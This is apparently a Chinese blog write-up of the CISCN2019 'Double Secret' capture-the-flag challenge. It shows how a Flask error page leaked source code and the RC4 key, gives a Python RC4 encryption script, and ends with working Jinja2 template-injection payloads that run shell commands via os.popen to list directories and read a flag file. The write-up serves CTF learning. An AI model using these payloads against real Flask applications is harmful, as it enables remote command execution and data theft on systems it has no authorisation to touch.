• 练[CISCN2019 华东南赛区]Double Secret


    [CISCN2019 华东南赛区]Double Secret


    在这里插入图片描述

    掌握知识

    flask框架报错源码泄露,使用脚本进行RC4加解,ssti使用内置函数进行模板注入

    解题思路

    1. 打开网站链接,页面就一句话去发现秘密,尝试查看是不是个目录,发现还真是,又显示给我你的秘密我能给你加密,看着样子感觉是要传参,尝试secret为参数,随便输入点数据还真返回内容了,但确实没看懂是什么意思

    image-20231010202146086

    image-20231010202202835

    image-20231010202155719

    1. 直到又随便输入了些内容,发现竟然报错了,看下面内容发现是flask框架,还是jinjia2模块,看来是传参进行ssti模板注入了。flask这报错界面可能存在源码泄露,前去查看一下app.py文件,明白了是怎么个回事了

    image-20231010202405504

    image-20231010202523193

    1. 对上面代码进行分析,接受网页传参,会把数据进行RC4解密,解密的得到的内容就能进行ssti模板注入了,所以需要将ssti模板注入paylaod进行RC4加密,进行传参利用,找了个在网站加密,但似乎不太行。这里的密钥也泄露了,就是解密函数的参数

    image-20231010202809467

    1. 选择去网上找一个RC4的加密脚本,输入密钥和要执行的paylaod,将加密字符串进行传参。可以先构造{{7*7}}来检测是否存在ssti注入,传参之后页面回显49证明存在
    import base64
    from urllib.parse import quote
    
    
    def rc4_main(key="init_key", message="init_message"):
        # print("RC4加密主函数")
        s_box = rc4_init_sbox(key)
        crypt = str(rc4_excrypt(message, s_box))
        return crypt
    
    
    def rc4_init_sbox(key):
        s_box = list(range(256))  # 我这里没管秘钥小于256的情况,小于256不断重复填充即可
        # print("原来的 s 盒:%s" % s_box)
        j = 0
        for i in range(256):
            j = (j + s_box[i] + ord(key[i % len(key)])) % 256
            s_box[i], s_box[j] = s_box[j], s_box[i]
        # print("混乱后的 s 盒:%s"% s_box)
        return s_box
    
    
    def rc4_excrypt(plain, box):
        # print("调用加密程序成功。")
        res = []
        i = j = 0
        for s in plain:
            i = (i + 1) % 256
            j = (j + box[i]) % 256
            box[i], box[j] = box[j], box[i]
            t = (box[i] + box[j]) % 256
            k = box[t]
            res.append(chr(ord(s) ^ k))
        # print("res用于加密字符串,加密后是:%res" %res)
        cipher = "".join(res)
        print("加密后的字符串是:%s" % quote(cipher))
        # print("加密后的输出(经过编码):")
        # print(str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))
        return str(base64.b64encode(cipher.encode('utf-8')), 'utf-8')
    
    rc4_main("key", "key")
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    1. 先尝试使用jinjia2的注入paylaod,但似乎结果都不太好,试了两个都有报错。接下来尝试使用python基础的ssti模板注入paylaod,先查看一下有没有可以进行命令执行的类

    image-20231010203357735

    image-20231010203433640

    1. 将数据保存到notepad++中,将逗号替换成换行符,开始搜索常用的代码执行的类,但我所保存的能进行命令执行的类都不存在,寻找子类的方法没能成功

    image-20231010203520784

    1. 但是还有另外一种方法,上面是最基础的,还有另外调用OS模板进行命令执行的方法,可以使用flask的内置函数中的内容,调用其内部的os模块进行命令执行,成功回显了目录信息

    image-20231010203703720

    image-20231010203732395

    1. 能成功执行代码,那后面就好办了,查看根目录下的目录信息,发现flag.txt文件,修改命令读取文件拿下flag

    image-20231010203901990

    image-20231010203906205

    image-20231010203911141

    image-20231010203915229

    关键paylaod

    {{7*7}}
    .%14%0E%1F%C3%BD%1A%16
    
    {{[].__class__.__base__.__subclasses__()}}
    .%14bh%C3%A484mg%C2%9C%C3%8B%00%C2%81%C2%8D%C2%B8%C2%97%0B%C2%91U%27%C2%B2m%C3%9F%3C5%C2%AE%2B%C2%9CP%C3%8F%3E%C3%A6%3E%C2%98H%C3%857%C3%8E%60%C2%ADf%C3%87
    
    {{url_for.__globals__.os.popen('ls /').read()}}
    .%14LG%C2%A68%0Day%C3%93%C3%A7%2C%C2%B9%C2%BE%C3%B9%C2%AA5%C2%9FG%0B%C2%88%1C%C3%AFaD%C2%817%C2%99W%C3%82z%C2%A0%21%C2%98%0D%C2%99O%C2%B8f%C3%B6~%C3%9B%C2%89%C2%AA%24%13%C2%A0
    
    {{url_for.__globals__.os.popen('cat /flag.txt').read()}}
    .%14LG%C2%A68%0Day%C3%93%C3%A7%2C%C2%B9%C2%BE%C3%B9%C2%AA5%C2%9FG%0B%C2%88%1C%C3%AFaD%C2%817%C2%99W%C3%82z%C2%A0.%C2%8AY%C2%96G%C3%B7%24%C3%A5%7C%C2%94%C2%99%C3%BAyI%C3%B4T%C2%B7%C2%B8Gh%2A%C2%A27q
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
  • 相关阅读:
    C#Winform新建工程
    商业建筑利用物联网设备实现能源效率的3种方式
    Qt之语言家的简单使用(一)(Qt翻译UI,Qt Linguist的使用,含源码+注释)
    Pyscript,使用Python编写前端脚本
    springboot~封装依赖引用包jar还是pom,哪种更规范
    文件夹改名:批量随机重命名文件夹,让整理更轻松
    Java_题目_两个字符串求乘积
    private key ssh连接服务器
    “华为杯”研究生数学建模竞赛2015年-【华为杯】A题:水面舰艇编队防空和信息化战争评估模型
    如何使用ARM协处理器CP15在32位ARRCH模式下操作64位寄存器)
  • 原文地址:https://blog.csdn.net/m0_66225311/article/details/133755839